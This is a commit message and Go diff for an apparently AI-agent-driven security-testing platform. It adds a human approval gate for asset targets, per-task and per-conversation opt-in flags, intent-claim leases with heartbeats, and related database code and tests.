feat(intercept): target-gate schema, opt-in flag and approval requests (S3b 1.2-1.4)

Storage, flag and request path of the approval gate for asset targets. The
gate itself is not wired into the tool hook yet (steps 1.5 to 1.7): with this
change nothing is extracted, resolved or blocked, whatever the flag says.

Schema and store (1.2)
- tasks.target_gate, conversations.target_gate (default false).
- intercept_pending.target_key and a partial unique index: one open request
  per scope (task or conversation) and host:port.
- target_pins (no foreign keys: a pin outlives its task, its conversation and
  its request row) and target_gate_exemption_log. All DDL is idempotent; no
  CHECK constraints; the cascade on intercept_pending.conversation_id stays.
- db/target_pins.go: pin lookup with port precedence, list, revoke,
  find-or-create of a request, and ResolveTargetRequest, which settles the
  row, supersedes the old pin and writes the new version in one transaction.
- Deleting a task or an archive stub revokes its pins and settles its open
  target requests in the delete transaction. DeleteConversation and
  DeleteConversations revoke the pins of the removed conversations in the
  same transaction as the delete.

Opt-in flag (1.3)
- Per task through the create and metadata-patch paths, per conversation
  through create and patch; exposed in the task DTO. A retest conversation
  takes the flag of the finding's task, never its pins. A spawned task starts
  with the gate off.
- The task flag is atomic and read on every call through TargetScope.Enabled.
  TargetScope now carries the Interceptor that owns the gate.

Request, wait, decide (1.4)
- pendingManager keeps a list of waiters per request; resolve wakes all.
- RequestTargets: find-or-create per target, one card per request, wait on
  channel, poll, context and wait bound. A plain request is never settled by
  a call that leaves. A request merged with an ask is bound to its creating
  call and a timeout never allows it.
- Decide records the approver (subject of the session token) and the remote
  address for every human decision, classic asks included. On a target
  request "allowed" pins the displayed addresses; that is the only writer of
  pins.
- A request raised while the global egress proxy is set says the approval is
  name-only and its pin is stored with name_only_effective.
- Routes: GET/POST .../target-pins and .../target-pins/{pid}/revoke under
  /api/tasks/{id} and /api/conversations/{id}; decision_source=target filter.
- ValidateExemptionHost: an exemption written as an IP literal may be private
  unicast, never loopback, link-local or metadata, unspecified or multicast.

agent/cancelcause.go

@@ -47,6 +47,8 @@ var (
 		"The user paused a running Worker. This call was cancelled and the intent turned paused; all recorded intents, facts, vulnerabilities, and activity records are kept, and execution restarts from scratch after resuming")
 	AbortWorkCancelledByUser = cause("work_cancelled_by_user", "The user deleted this Worker intent",
 		"The user deleted a running Worker. This call was cancelled; after the Worker exits the write area, the server handles the intent per the user-chosen deletion mode — soft delete only marks it deleted and keeps all outputs, hard delete cascades to remove the intent and the downstream nodes supported only by it")
+	AbortWorkClaimLost = cause("work_claim_lost", "Another Worker took this intent over",
+		"This Worker's claim on the intent expired (no heartbeat reached the database within the claim TTL) and another Worker took the intent over, so its heartbeat was rejected. This run was cancelled and its result is discarded; the intent now belongs to the new claimer")
 	AbortWorkFinished = cause("work_finished", "Worker finished normally, context freed",
 		"The Worker finished normally, and the engine released its context resources in detachWork. This is not an interruption; if it appears in an interruption message, the cancel and finish events raced")
 	AbortPausedRaceGuard = cause("paused_race_guard", "Refused a new run while task is paused",

agent/capture_approval_test.go

@@ -70,7 +70,7 @@ func TestCaptureApprovalLifecycle(t *testing.T) {
 					t.Error(err)
 					return
 				}
-				if err := ic.Decide(detail.ID, tc.approve); err != nil {
+				if err := ic.Decide(detail.ID, tc.approve, "", ""); err != nil {
 					t.Error(err)
 				}
 			})

agent/hooks_reach_test.go

@@ -0,0 +1,181 @@
+package agent
+
+import (
+	"context"
+	"encoding/json"
+	"fmt"
+	"os"
+	"path/filepath"
+	"sync"
+	"sync/atomic"
+	"testing"
+
+	"github.com/Autumn-27/artex/db"
+	"github.com/Autumn-27/artex/guard"
+	"github.com/Autumn-27/artex/intercept"
+	"github.com/Autumn-27/norma/llm"
+)
+
+// Every agent kind hands its tool calls to the hooks it is given, on the context
+// it was started with. The target gate depends on both: a session without hooks
+// is ungated, and a hook that cannot see the scope cannot decide.
+
+// recordingHooks blocks every tool call (so nothing executes) and records the
+// tool name and the target scope carried by the hook's context.
+type recordingHooks struct {
+	mu    sync.Mutex
+	calls []recordedHookCall
+}
+
+type recordedHookCall struct {
+	tool   string
+	scope  intercept.TargetScope
+	scoped bool
+}
+
+func (h *recordingHooks) PreToolUse(ctx context.Context, name string, _ []byte) (bool, string, []byte) {
+	scope, ok := intercept.TargetScopeFromContext(ctx)
+	h.mu.Lock()
+	h.calls = append(h.calls, recordedHookCall{tool: name, scope: scope, scoped: ok})
+	h.mu.Unlock()
+	return true, "blocked by the recording test hooks", nil
+}
+
+func (h *recordingHooks) PostToolUse(context.Context, string, []byte, []byte, bool) {}
+
+func (h *recordingHooks) Stop(context.Context, []llm.Message) (bool, []string, string) {
+	return false, nil, ""
+}
+
+// assertOneScopedCall checks that the hooks saw exactly one call of tool, on a
+// context carrying the task scope taskID.
+func (h *recordingHooks) assertOneScopedCall(t *testing.T, tool, taskID string) {
+	t.Helper()
+	h.mu.Lock()
+	defer h.mu.Unlock()
+	if len(h.calls) != 1 {
+		t.Fatalf("hooks saw %d tool calls, want 1: %+v", len(h.calls), h.calls)
+	}
+	c := h.calls[0]
+	if c.tool != tool {
+		t.Fatalf("hooks saw tool %q, want %q", c.tool, tool)
+	}
+	if !c.scoped || c.scope.TaskID != taskID || c.scope.ConversationID != 0 {
+		t.Fatalf("hook context scope = %+v (present=%v), want task %s", c.scope, c.scoped, taskID)
+	}
+	if c.scope.WaitBound != intercept.DefaultTargetWaitBound {
+		t.Fatalf("hook context wait bound = %v, want %v", c.scope.WaitBound, intercept.DefaultTargetWaitBound)
+	}
+}
+
+// toolCallThenStop scripts a model that calls one tool on its first turn and ends
+// the run on the next.
+func toolCallThenStop(tool, input string) captureUsageProvider {
+	var turn atomic.Int64
+	return captureUsageProvider{stream: func(_ context.Context, yield func(llm.StreamEvent, error) bool) {
+		events := []llm.StreamEvent{{Type: llm.SETextDelta, Text: "done"}, {Type: llm.SEMessageDelta, StopReason: "end_turn"}}
+		if turn.Add(1) == 1 {
+			events = []llm.StreamEvent{
+				{Type: llm.SEToolUseStart, ToolID: "call-1", ToolName: tool},
+				{Type: llm.SEToolInputJSON, Text: input},
+				{Type: llm.SEMessageDelta, StopReason: "tool_use"},
+			}
+		}
+		for _, event := range events {
+			if !yield(event, nil) {
+				return
+			}
+		}
+	}}
+}
+
+// hookReachFixture is one exploration on the test database plus a Bash call whose
+// only effect would be to create marker — which the blocking hooks must prevent.
+type hookReachFixture struct {
+	expID   int64
+	taskID  string
+	ts      *db.ExplorationStore
+	workDir string
+	marker  string
+	bash    string
+	ctx     context.Context
+}
+
+func newHookReachFixture(t *testing.T) hookReachFixture {
+	t.Helper()
+	d := testDB(t)
+	t.Cleanup(func() { _ = d.Close() })
+	expID, err := d.CreateExploration("hook reach probe", "prove tool calls reach the hooks")
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _, _ = d.Exec(`DELETE FROM explorations WHERE id=$1`, expID) })
+	f := hookReachFixture{expID: expID, taskID: fmt.Sprint(expID), ts: d.Exploration(expID), workDir: t.TempDir()}
+	f.marker = filepath.Join(f.workDir, "tool-ran")
+	input, _ := json.Marshal(map[string]string{"command": "touch " + f.marker})
+	f.bash = string(input)
+	f.ctx = intercept.WithTargetScope(t.Context(), intercept.TargetScope{TaskID: f.taskID, WaitBound: intercept.DefaultTargetWaitBound})
+	return f
+}
+
+func (f hookReachFixture) assertToolDidNotRun(t *testing.T) {
+	t.Helper()
+	if _, err := os.Stat(f.marker); err == nil {
+		t.Fatal("the blocked tool call was executed")
+	}
+}
+
+func TestPlannerToolCallReachesHooks(t *testing.T) {
+	f := newHookReachFixture(t)
+	hooks := &recordingHooks{}
+	planner := NewPlanner(toolCallThenStop("Bash", f.bash), "test-model", f.workDir, nil, 0, 3)
+	if _, _, err := planner.Plan(f.ctx, f.expID, nil, f.ts, "probe goal", nil, hooks, nil); err != nil {
+		t.Fatal(err)
+	}
+	hooks.assertOneScopedCall(t, "Bash", f.taskID)
+	f.assertToolDidNotRun(t)
+}
+
+func TestMainAgentToolCallReachesHooks(t *testing.T) {
+	f := newHookReachFixture(t)
+	hooks := &recordingHooks{}
+	main := NewMainAgent(toolCallThenStop("Bash", f.bash), "test-model", f.workDir, nil, 0, 3)
+	if _, err := main.Chat(f.ctx, f.expID, 0, nil, f.ts, "probe goal", "status?", hooks, nil, nil, nil, nil, nil); err != nil {
+		t.Fatal(err)
+	}
+	hooks.assertOneScopedCall(t, "Bash", f.taskID)
+	f.assertToolDidNotRun(t)
+}
+
+func TestWorkerToolCallReachesHooks(t *testing.T) {
+	f := newHookReachFixture(t)
+	payload := map[string]any{"summary": "probe intent"}
+	intentID, err := f.ts.AddNode("intent", payload, 0, "running", "planner", nil)
+	if err != nil {
+		t.Fatal(err)
+	}
+	raw, _ := json.Marshal(payload)
+	hooks := &recordingHooks{}
+	worker := NewWorker(toolCallThenStop("Bash", f.bash), "test-model", f.workDir, nil, 0, 3)
+	if _, _, err := worker.Execute(f.ctx, "work#1", f.expID, nil, f.ts, &db.Node{ID: intentID, Payload: raw}, hooks, nil, nil, nil); err != nil {
+		t.Fatal(err)
+	}
+	hooks.assertOneScopedCall(t, "Bash", f.taskID)
+	f.assertToolDidNotRun(t)
+}
+
+// The chat agent takes a Guard rather than a hook runner, so the Guard's own
+// audit ring is the recorder here. The scripted call is a read-only directory
+// listing of the session's empty work dir: no command runs. No database.
+func TestChatToolCallReachesHooks(t *testing.T) {
+	g := guard.New()
+	chat := NewChatAgent(toolCallThenStop("LS", `{}`), "test-model", t.TempDir(), nil, 0)
+	chat.SetGuard(g)
+	if _, err := chat.Chat(t.Context(), "assistant", "conv-hook-reach", "list the work dir", 3, 0, false, nil); err != nil {
+		t.Fatal(err)
+	}
+	audit := g.Audit()
+	if len(audit) != 1 || audit[0].Tool != "LS" {
+		t.Fatalf("guard audit = %+v, want one LS call", audit)
+	}
+}

agent/mainagent.go

@@ -7,6 +7,7 @@ import (
 	"github.com/Autumn-27/artex/db"
 	"github.com/Autumn-27/artex/intercept"
 	"github.com/Autumn-27/norma/agentcore"
+	"github.com/Autumn-27/norma/harness"
 	"github.com/Autumn-27/norma/llm"
 	"github.com/Autumn-27/norma/permission"
 	actool "github.com/Autumn-27/norma/tool"
@@ -114,8 +115,9 @@ func mainAgentSystem(goal, dataDir, workDir string) string {
 // Chat handles one human message and returns the assistant reply. emit, if
 // non-nil, receives each execution step (thinking / tool_use / tool_result /
 // text / result) so the main-agent session shows its work — exactly like the
-// worker/planner sessions — not just the final answer.
-func (m *MainAgent) Chat(ctx context.Context, taskID int64, mainSeg int, as *db.AssetStore, ts *db.ExplorationStore, goal, message string, emit func(db.Activity), notify, resume func(), notifyGoal, notifyHint func([]string)) (string, error) {
+// worker/planner sessions — not just the final answer. hooks (the task's
+// target-only Guard) sees every tool call; may be nil.
+func (m *MainAgent) Chat(ctx context.Context, taskID int64, mainSeg int, as *db.AssetStore, ts *db.ExplorationStore, goal, message string, hooks harness.HookRunner, emit func(db.Activity), notify, resume func(), notifyGoal, notifyHint func([]string)) (string, error) {
 	tsx := NewToolSet(ts, "human")
 	tsx.SetFindingRecorder(m.findingRecorder)
 	if as != nil {
@@ -173,6 +175,9 @@ func (m *MainAgent) Chat(ctx context.Context, taskID int64, mainSeg int, as *db.
 		// Opt-in via ARTEX_UNTRUSTED_BOUNDARY (default off): nonce-frame tool output as untrusted data.
 		UntrustedOutputBoundary: untrustedBoundaryEnabled(),
 	}
+	if hooks != nil { // typed-nil guard: only set when concrete (avoids harness panic)
+		opts.Hooks = hooks
+	}
 	if m.tx != nil { // persist raw human↔AI conversation; one accumulating file per segment
 		opts.Transcript = m.tx
 		// Segment 0 keeps the legacy "exp%d-main" name so existing transcripts still

agent/planner.go

@@ -10,6 +10,7 @@ import (
 	"github.com/Autumn-27/artex/db"
 	"github.com/Autumn-27/artex/intercept"
 	"github.com/Autumn-27/norma/agentcore"
+	"github.com/Autumn-27/norma/harness"
 	"github.com/Autumn-27/norma/llm"
 	"github.com/Autumn-27/norma/permission"
 	actool "github.com/Autumn-27/norma/tool"
@@ -365,7 +366,8 @@ func plannerSystem(goal, dataDir, workDir string) string {
 // and/or finding(s) reported (may be several — the engine debounces a burst; empty
 // for time/heartbeat wakes). They are spelled out at the top of the prompt so the
 // planner looks first at the actual change (which intent, its output/finding).
-func (p *Planner) Plan(ctx context.Context, taskID int64, as *db.AssetStore, ts *db.ExplorationStore, goal string, triggers []TriggerEvent, emit func(db.Activity)) (met bool, reason string, err error) {
+// hooks (the task's target-only Guard) sees every tool call; may be nil.
+func (p *Planner) Plan(ctx context.Context, taskID int64, as *db.AssetStore, ts *db.ExplorationStore, goal string, triggers []TriggerEvent, hooks harness.HookRunner, emit func(db.Activity)) (met bool, reason string, err error) {
 	// cold-digest §2.3/§7: advance this task's planner-round counter, maintain the
 	// cold_since_round stamps, and (if a threshold is hit) kick off background
 	// compaction. Synchronous part is cheap (a few queries); the LLM compaction
@@ -461,6 +463,9 @@ func (p *Planner) Plan(ctx context.Context, taskID int64, as *db.AssetStore, ts
 		// Opt-in via ARTEX_UNTRUSTED_BOUNDARY (default off): nonce-frame tool output as untrusted data.
 		UntrustedOutputBoundary: untrustedBoundaryEnabled(),
 	}
+	if hooks != nil { // typed-nil guard: only set when concrete (avoids harness panic)
+		opts.Hooks = hooks
+	}
 	if p.tx != nil { // persist raw LLM conversation; one accumulating file per task's planner
 		opts.Transcript = p.tx
 		opts.SessionID = fmt.Sprintf("exp%d-planner", ts.ID())

agent/terminalreason_test.go

@@ -141,7 +141,7 @@ func TestAbortCausesAreWellFormed(t *testing.T) {
 	all := []*AbortCause{
 		AbortPausedByUser, AbortPausedByOrchestrator, AbortTaskDeleted, AbortPausedOnReload,
 		AbortGoalMet, AbortSettleDrainTimeout, AbortKilledByPlanner, AbortWorkPausedByUser,
-		AbortWorkCancelledByUser, AbortWorkFinished, AbortPausedRaceGuard,
+		AbortWorkCancelledByUser, AbortWorkClaimLost, AbortWorkFinished, AbortPausedRaceGuard,
 		AbortChatStoppedByUser, AbortChatPausedWithTask, AbortChatTurnFinished,
 		AbortShutdown, AbortRunHardTimeout,
 	}

db/companies.go

@@ -633,14 +633,20 @@ LIMIT $1`, malformedIPAssetsSampled)
 	if total == 0 {
 		return "", nil
 	}
+	return malformedIPAssetWarningText(total, samples), nil
+}
+
+// malformedIPAssetWarningText words the warning for total offending assets, of
+// which only samples are named; the ones left out are counted in the suffix.
+func malformedIPAssetWarningText(total int, samples []string) string {
 	warning := fmt.Sprintf(
 		"%d assets have an ip field that is not a valid IP; skipped for IP/CIDR scope matching (these assets will not be attributed to a company by subnet rules): %s",
 		total, strings.Join(samples, ", "),
 	)
 	if total > len(samples) {
-		warning += fmt.Sprintf(" and %d more", total)
+		warning += fmt.Sprintf(" and %d more", total-len(samples))
 	}
-	return warning, nil
+	return warning
 }
 
 // UpdateScope replaces all scope rules for a company and reattributes.

db/companies_test.go

@@ -458,3 +458,21 @@ func TestListCompanies(t *testing.T) {
 		t.Error("ListCompanies: created company not found")
 	}
 }
+
+func TestMalformedIPAssetWarningTextCountsOmitted(t *testing.T) {
+	samples := []string{"#1 a", "#2 b", "#3 c", "#4 d", "#5 e"}
+	// The suffix must count the assets left out, not repeat the total, otherwise
+	// the operator is told about more bad rows than exist.
+	got := malformedIPAssetWarningText(8, samples)
+	if !strings.HasPrefix(got, "8 assets have an ip field") {
+		t.Fatalf("the warning should lead with the total of 8, got %q", got)
+	}
+	if !strings.HasSuffix(got, ": #1 a, #2 b, #3 c, #4 d, #5 e and 3 more") {
+		t.Fatalf("8 assets with 5 named should note the 3 omitted, got %q", got)
+	}
+	// When every offending asset is named there is nothing to add.
+	got = malformedIPAssetWarningText(5, samples)
+	if !strings.HasSuffix(got, ": #1 a, #2 b, #3 c, #4 d, #5 e") {
+		t.Fatalf("5 assets with 5 named should have no suffix, got %q", got)
+	}
+}

db/conversation.go

@@ -58,20 +58,24 @@ type Conversation struct {
 	PinnedAt     *time.Time `json:"pinned_at,omitempty"`
 	CreatedAt    time.Time  `json:"created_at"`
 	UpdatedAt    time.Time  `json:"updated_at"`
+	// TargetGate is the per-conversation opt-in of the approval gate for asset
+	// targets (a chat has no task). false (default) = no gate.
+	TargetGate bool `json:"target_gate"`
 }
 
 // ConversationPatch updates only the fields whose pointers are non-nil.
 type ConversationPatch struct {
-	Title  *string
-	Pinned *bool
+	Title      *string
+	Pinned     *bool
+	TargetGate *bool
 }
 
-const convCols = `id, agent_key, title, llm_profile_id, pinned_at, created_at, updated_at`
+const convCols = `id, agent_key, title, llm_profile_id, pinned_at, created_at, updated_at, target_gate`
 
 func scanConv(row interface{ Scan(...any) error }) (Conversation, error) {
 	var c Conversation
 	var pinnedAt sql.NullTime
-	err := row.Scan(&c.ID, &c.AgentKey, &c.Title, &c.LLMProfileID, &pinnedAt, &c.CreatedAt, &c.UpdatedAt)
+	err := row.Scan(&c.ID, &c.AgentKey, &c.Title, &c.LLMProfileID, &pinnedAt, &c.CreatedAt, &c.UpdatedAt, &c.TargetGate)
 	if pinnedAt.Valid {
 		c.Pinned = true
 		c.PinnedAt = &pinnedAt.Time
@@ -82,6 +86,12 @@ func scanConv(row interface{ Scan(...any) error }) (Conversation, error) {
 // CreateConversation opens a new chat thread for agentKey with an initial title.
 // llmProfileID may be nil to use the globally active profile.
 func (d *DB) CreateConversation(agentKey, title string, llmProfileID *int64) (*Conversation, error) {
+	return d.CreateConversationGated(agentKey, title, llmProfileID, false)
+}
+
+// CreateConversationGated is CreateConversation with the target-gate opt-in set
+// at creation.
+func (d *DB) CreateConversationGated(agentKey, title string, llmProfileID *int64, targetGate bool) (*Conversation, error) {
 	tx, err := d.Begin()
 	if err != nil {
 		return nil, err
@@ -92,8 +102,8 @@ func (d *DB) CreateConversation(agentKey, title string, llmProfileID *int64) (*C
 	// by this transaction before it takes a profile lock, matching DeleteProfile's
 	// child-row -> profile-row protocol.
 	c, err := scanConv(tx.QueryRow(`
-INSERT INTO conversations(agent_key, title, llm_profile_id) VALUES ($1, $2, NULL)
-RETURNING `+convCols, agentKey, title))
+INSERT INTO conversations(agent_key, title, llm_profile_id, target_gate) VALUES ($1, $2, NULL, $3)
+RETURNING `+convCols, agentKey, title, targetGate))
 	if err != nil {
 		return nil, err
 	}
@@ -169,7 +179,7 @@ func (d *DB) GetConversation(id int64) (*Conversation, error) {
 	return &c, nil
 }
 
-// UpdateConversation applies a partial title/pin mutation and returns the updated
+// UpdateConversation applies a partial title/pin/target-gate mutation and returns the updated
 // row. Pinning an already-pinned conversation preserves its original pin order.
 func (d *DB) UpdateConversation(id int64, patch ConversationPatch) (*Conversation, error) {
 	c, err := scanConv(d.QueryRow(`UPDATE conversations SET
@@ -178,9 +188,10 @@ func (d *DB) UpdateConversation(id int64, patch ConversationPatch) (*Conversatio
 		WHEN $4::boolean IS NULL THEN pinned_at
 		WHEN $4::boolean THEN COALESCE(pinned_at, now())
 		ELSE NULL
-	END
+	END,
+	target_gate = CASE WHEN $5::boolean THEN $6 ELSE target_gate END
 WHERE id=$1
-RETURNING `+convCols, id, patch.Title != nil, patch.Title, patch.Pinned))
+RETURNING `+convCols, id, patch.Title != nil, patch.Title, patch.Pinned, patch.TargetGate != nil, patch.TargetGate))
 	if err == sql.ErrNoRows {
 		return nil, nil
 	}
@@ -203,19 +214,37 @@ func (d *DB) TouchConversation(id int64) error {
 	return err
 }
 
-// DeleteConversation removes a thread; its activities cascade via FK.
+// DeleteConversation removes a thread; its activities cascade via FK. Its
+// target pins are not rows of the thread: they are revoked in the same
+// transaction and stay as history.
 func (d *DB) DeleteConversation(id int64) error {
-	_, err := d.Exec(`DELETE FROM conversations WHERE id=$1`, id)
-	return err
+	tx, err := d.Begin()
+	if err != nil {
+		return err
+	}
+	defer tx.Rollback()
+	if err := revokeConversationPins(tx, []int64{id}); err != nil {
+		return err
+	}
+	if _, err := tx.Exec(`DELETE FROM conversations WHERE id=$1`, id); err != nil {
+		return err
+	}
+	return tx.Commit()
 }
 
 // DeleteConversations removes existing threads in one statement and returns the
-// ids that were actually present. Child activities and trigger runs cascade.
+// ids that were actually present. Child activities and trigger runs cascade. The
+// target pins of the removed threads are revoked in the same transaction.
 func (d *DB) DeleteConversations(ids []int64) ([]int64, error) {
 	if len(ids) == 0 {
 		return []int64{}, nil
 	}
-	rows, err := d.Query(`DELETE FROM conversations WHERE id=ANY($1::bigint[]) RETURNING id`, ids)
+	tx, err := d.Begin()
+	if err != nil {
+		return nil, err
+	}
+	defer tx.Rollback()
+	rows, err := tx.Query(`DELETE FROM conversations WHERE id=ANY($1::bigint[]) RETURNING id`, ids)
 	if err != nil {
 		return nil, err
 	}
@@ -228,7 +257,14 @@ func (d *DB) DeleteConversations(ids []int64) ([]int64, error) {
 		}
 		deleted = append(deleted, id)
 	}
-	return deleted, rows.Err()
+	if err := rows.Err(); err != nil {
+		return nil, err
+	}
+	rows.Close()
+	if err := revokeConversationPins(tx, deleted); err != nil {
+		return nil, err
+	}
+	return deleted, tx.Commit()
 }
 
 // AppendConvActivity records one step of a conversation (human message or an agent

db/exploration.go

@@ -2,7 +2,9 @@ package db
 
 import (
 	"bytes"
+	"crypto/rand"
 	"database/sql"
+	"encoding/hex"
 	"encoding/json"
 	"errors"
 	"fmt"
@@ -16,6 +18,33 @@ import (
 // it to distinguish an expected control race (HTTP 409) from a storage failure.
 var ErrIntentStateConflict = errors.New("intent state changed concurrently")
 
+// ErrIntentClaimLost marks a heartbeat or a result write rejected by the claim
+// fence: the caller's unclaim token is no longer the intent's current one (its
+// claim expired and another worker took the intent over, or it was already
+// settled). Nothing was written; the caller must stop working on that intent.
+var ErrIntentClaimLost = errors.New("intent claim lost")
+
+// IntentClaimTTL is how long an intent claim stays valid without a heartbeat. A
+// running intent whose last_heartbeat_at is older than this (per the database
+// clock) is considered abandoned — its worker crashed or its process is gone —
+// and may be taken over; a younger claim is live and is never taken over. It is
+// six heartbeat intervals, so a live worker loses its claim only after five
+// consecutive missed heartbeats (about 75s of lost database connectivity).
+const IntentClaimTTL = 90 * time.Second
+
+// IntentClaimHeartbeatInterval is how often a busy worker renews its claim, and
+// how often the engine looks for expired claims to take over.
+const IntentClaimHeartbeatInterval = 15 * time.Second
+
+// newUnclaimToken returns a fresh random claim token (128 bits, hex).
+func newUnclaimToken() (string, error) {
+	var b [16]byte
+	if _, err := rand.Read(b[:]); err != nil {
+		return "", err
+	}
+	return hex.EncodeToString(b[:]), nil
+}
+
 // utf8Clean makes a string safe for a PostgreSQL text column. It (1) replaces
 // invalid UTF-8 byte sequences with U+FFFD and (2) strips NUL (0x00) bytes.
 // Tool output (nmap/curl/… stdout) can carry raw/truncated bytes that PostgreSQL's
@@ -309,9 +338,19 @@ func (s *ExplorationStore) DeleteGoal(id int64) error {
 // is re-claimed. Called on startup: a 'running' intent with no live worker (a
 // backend restart or crashed worker goroutine left it stuck) would otherwise spin
 // forever in the UI. Workers resume from their transcript, so reopening is safe.
+//
+// Only an expired claim is taken over: last_heartbeat_at older than
+// IntentClaimTTL, or NULL (a legacy row claimed before the lease columns
+// existed, whose claimer never heartbeats). A live claim — including one held by
+// another instance on the same database — is left alone. The expiry check and
+// the takeover are one atomic UPDATE on the database clock, and clearing
+// unclaim_token fences the previous claimer out. The engine also calls this
+// periodically, so a claim that was still live at startup is taken over once it
+// expires.
 func (s *ExplorationStore) ResetRunningIntents() (int64, error) {
-	res, err := s.db.Exec(`UPDATE exploration_nodes SET state='open', completed_at=NULL, blocked_reason=NULL
-WHERE exploration_id=$1 AND kind='intent' AND state='running'`, s.expID)
+	res, err := s.db.Exec(`UPDATE exploration_nodes SET state='open', completed_at=NULL, blocked_reason=NULL, unclaim_token=NULL
+WHERE exploration_id=$1 AND kind='intent' AND state='running'
+  AND (last_heartbeat_at IS NULL OR last_heartbeat_at < now() - $2 * INTERVAL '1 second')`, s.expID, IntentClaimTTL.Seconds())
 	if err != nil {
 		return 0, err
 	}
@@ -1216,13 +1255,107 @@ WHERE exploration_id=$1 AND kind='goal' AND state='open' ORDER BY id`, s.expID)
 
 // ClaimIntent atomically moves an open intent to running. Returns true if claimed.
 func (s *ExplorationStore) ClaimIntent(id int64, owner string) (bool, error) {
-	res, err := s.db.Exec(`UPDATE exploration_nodes SET state='running', owner=$1
-WHERE id=$2 AND exploration_id=$3 AND kind='intent' AND state='open'`, owner, id, s.expID)
+	token, err := s.ClaimIntentToken(id, owner)
+	return token != "", err
+}
+
+// ClaimIntentToken is ClaimIntent returning the claim's unclaim token ("" when
+// the intent was not claimable). Every claim gets a fresh random token and
+// starts its lease (last_heartbeat_at) in the same statement; the claimer must
+// present the token to HeartbeatIntentClaim and to the SettleIntentClaim* writes.
+func (s *ExplorationStore) ClaimIntentToken(id int64, owner string) (string, error) {
+	token, err := newUnclaimToken()
 	if err != nil {
-		return false, err
+		return "", err
 	}
-	n, _ := res.RowsAffected()
-	return n == 1, nil
+	res, err := s.db.Exec(`UPDATE exploration_nodes SET state='running', owner=$1, unclaim_token=$4, last_heartbeat_at=now()
+WHERE id=$2 AND exploration_id=$3 AND kind='intent' AND state='open'`, owner, id, s.expID, token)
+	if err != nil {
+		return "", err
+	}
+	if n, _ := res.RowsAffected(); n != 1 {
+		return "", nil
+	}
+	return token, nil
+}
+
+// ClaimPausedIntentToken is the paused->running counterpart of ClaimIntentToken
+// (the human-message path, which never goes through 'open'). It applies the same
+// column updates as CompareAndSetIntentState(id, "paused", "running") and starts
+// a claim with a fresh token. Returns "" when the intent is no longer paused.
+func (s *ExplorationStore) ClaimPausedIntentToken(id int64) (string, error) {
+	token, err := newUnclaimToken()
+	if err != nil {
+		return "", err
+	}
+	res, err := s.db.Exec(`UPDATE exploration_nodes
+SET state='running', blocked_reason=NULL, content_version=content_version+1, completed_at=NULL, unclaim_token=$3, last_heartbeat_at=now()
+WHERE id=$1 AND exploration_id=$2 AND kind='intent' AND state='paused'`, id, s.expID, token)
+	if err != nil {
+		return "", err
+	}
+	if n, _ := res.RowsAffected(); n != 1 {
+		return "", nil
+	}
+	return token, nil
+}
+
+// HeartbeatIntentClaim renews the lease of the claim identified by token. It
+// touches the row only while token is the running intent's current unclaim
+// token; otherwise it returns ErrIntentClaimLost and writes nothing.
+func (s *ExplorationStore) HeartbeatIntentClaim(id int64, token string) error {
+	res, err := s.db.Exec(`UPDATE exploration_nodes SET last_heartbeat_at=now()
+WHERE id=$1 AND exploration_id=$2 AND kind='intent' AND state='running' AND unclaim_token=$3`, id, s.expID, token)
+	if err != nil {
+		return err
+	}
+	if n, _ := res.RowsAffected(); n != 1 {
+		return fmt.Errorf("%w: heartbeat for intent %d rejected", ErrIntentClaimLost, id)
+	}
+	return nil
+}
+
+// SettleIntentClaim is the fenced write of a worker's intent result: it moves
+// the running intent to state and releases the claim, but only while token is
+// still the intent's current unclaim token. A worker whose claim was taken over
+// gets ErrIntentClaimLost and nothing is written. ErrIntentStateConflict means
+// the claim is still the caller's but the intent left 'running' concurrently.
+func (s *ExplorationStore) SettleIntentClaim(id int64, token, state string) error {
+	terminal := state == "done" || state == "blocked" || state == "exhausted" || state == "stopped"
+	res, err := s.db.Exec(`UPDATE exploration_nodes
+SET state=$1, blocked_reason=NULL, content_version=content_version+1, completed_at = CASE WHEN $5 THEN now() ELSE NULL END, unclaim_token=NULL
+WHERE id=$2 AND exploration_id=$3 AND kind='intent' AND state='running' AND unclaim_token=$4`, state, id, s.expID, token, terminal)
+	return s.settleIntentClaimResult(id, token, res, err)
+}
+
+// SettleIntentClaimBlocked is the fenced counterpart of SetIntentBlockedReason:
+// it settles the running intent as blocked with reason under the same token
+// check as SettleIntentClaim.
+func (s *ExplorationStore) SettleIntentClaimBlocked(id int64, token, reason string) error {
+	res, err := s.db.Exec(`UPDATE exploration_nodes
+SET state='blocked', blocked_reason=NULLIF($1,''), completed_at=now(), unclaim_token=NULL
+WHERE id=$2 AND exploration_id=$3 AND kind='intent' AND state='running' AND unclaim_token=$4`, reason, id, s.expID, token)
+	return s.settleIntentClaimResult(id, token, res, err)
+}
+
+// settleIntentClaimResult turns a fenced settle that matched no row into the
+// explicit rejection: claim lost unless the token is still the current one.
+func (s *ExplorationStore) settleIntentClaimResult(id int64, token string, res sql.Result, err error) error {
+	if err != nil {
+		return err
+	}
+	if n, _ := res.RowsAffected(); n == 1 {
+		return nil
+	}
+	var current sql.NullString
+	err = s.db.QueryRow(`SELECT unclaim_token FROM exploration_nodes WHERE id=$1 AND exploration_id=$2 AND kind='intent'`, id, s.expID).Scan(&current)
+	if err != nil && err != sql.ErrNoRows {
+		return err
+	}
+	if current.Valid && current.String == token {
+		return fmt.Errorf("%w: intent %d is no longer in the running state", ErrIntentStateConflict, id)
+	}
+	return fmt.Errorf("%w: result write for intent %d rejected", ErrIntentClaimLost, id)
 }
 
 // Stats returns node counts grouped by kind (for dashboard).

db/finding_retests.go

@@ -114,8 +114,11 @@ func (d *DB) CreateFindingRetest(ctx context.Context, findingID int64, notes str
 	if runes := []rune(title); len(runes) > 100 {
 		title = string(runes[:100])
 	}
-	c, err := scanConv(tx.QueryRowContext(ctx, `INSERT INTO conversations(agent_key,title) VALUES ($1,$2) RETURNING `+convCols,
-		FindingRetestAgentKey, fmt.Sprintf("Retest #%d · %s", findingID, title)))
+	// The retest conversation takes the target-gate opt-in of the finding's task.
+	// Pins are never copied: a pin belongs to the scope it was approved in.
+	c, err := scanConv(tx.QueryRowContext(ctx, `INSERT INTO conversations(agent_key,title,target_gate) VALUES ($1,$2,
+	COALESCE((SELECT t.target_gate FROM findings f JOIN tasks t ON t.id=f.task_id WHERE f.id=$3), false)) RETURNING `+convCols,
+		FindingRetestAgentKey, fmt.Sprintf("Retest #%d · %s", findingID, title), findingID))
 	if err != nil {
 		return nil, nil, false, err
 	}

db/intent_claim_test.go

@@ -0,0 +1,398 @@
+package db
+
+import (
+	"database/sql"
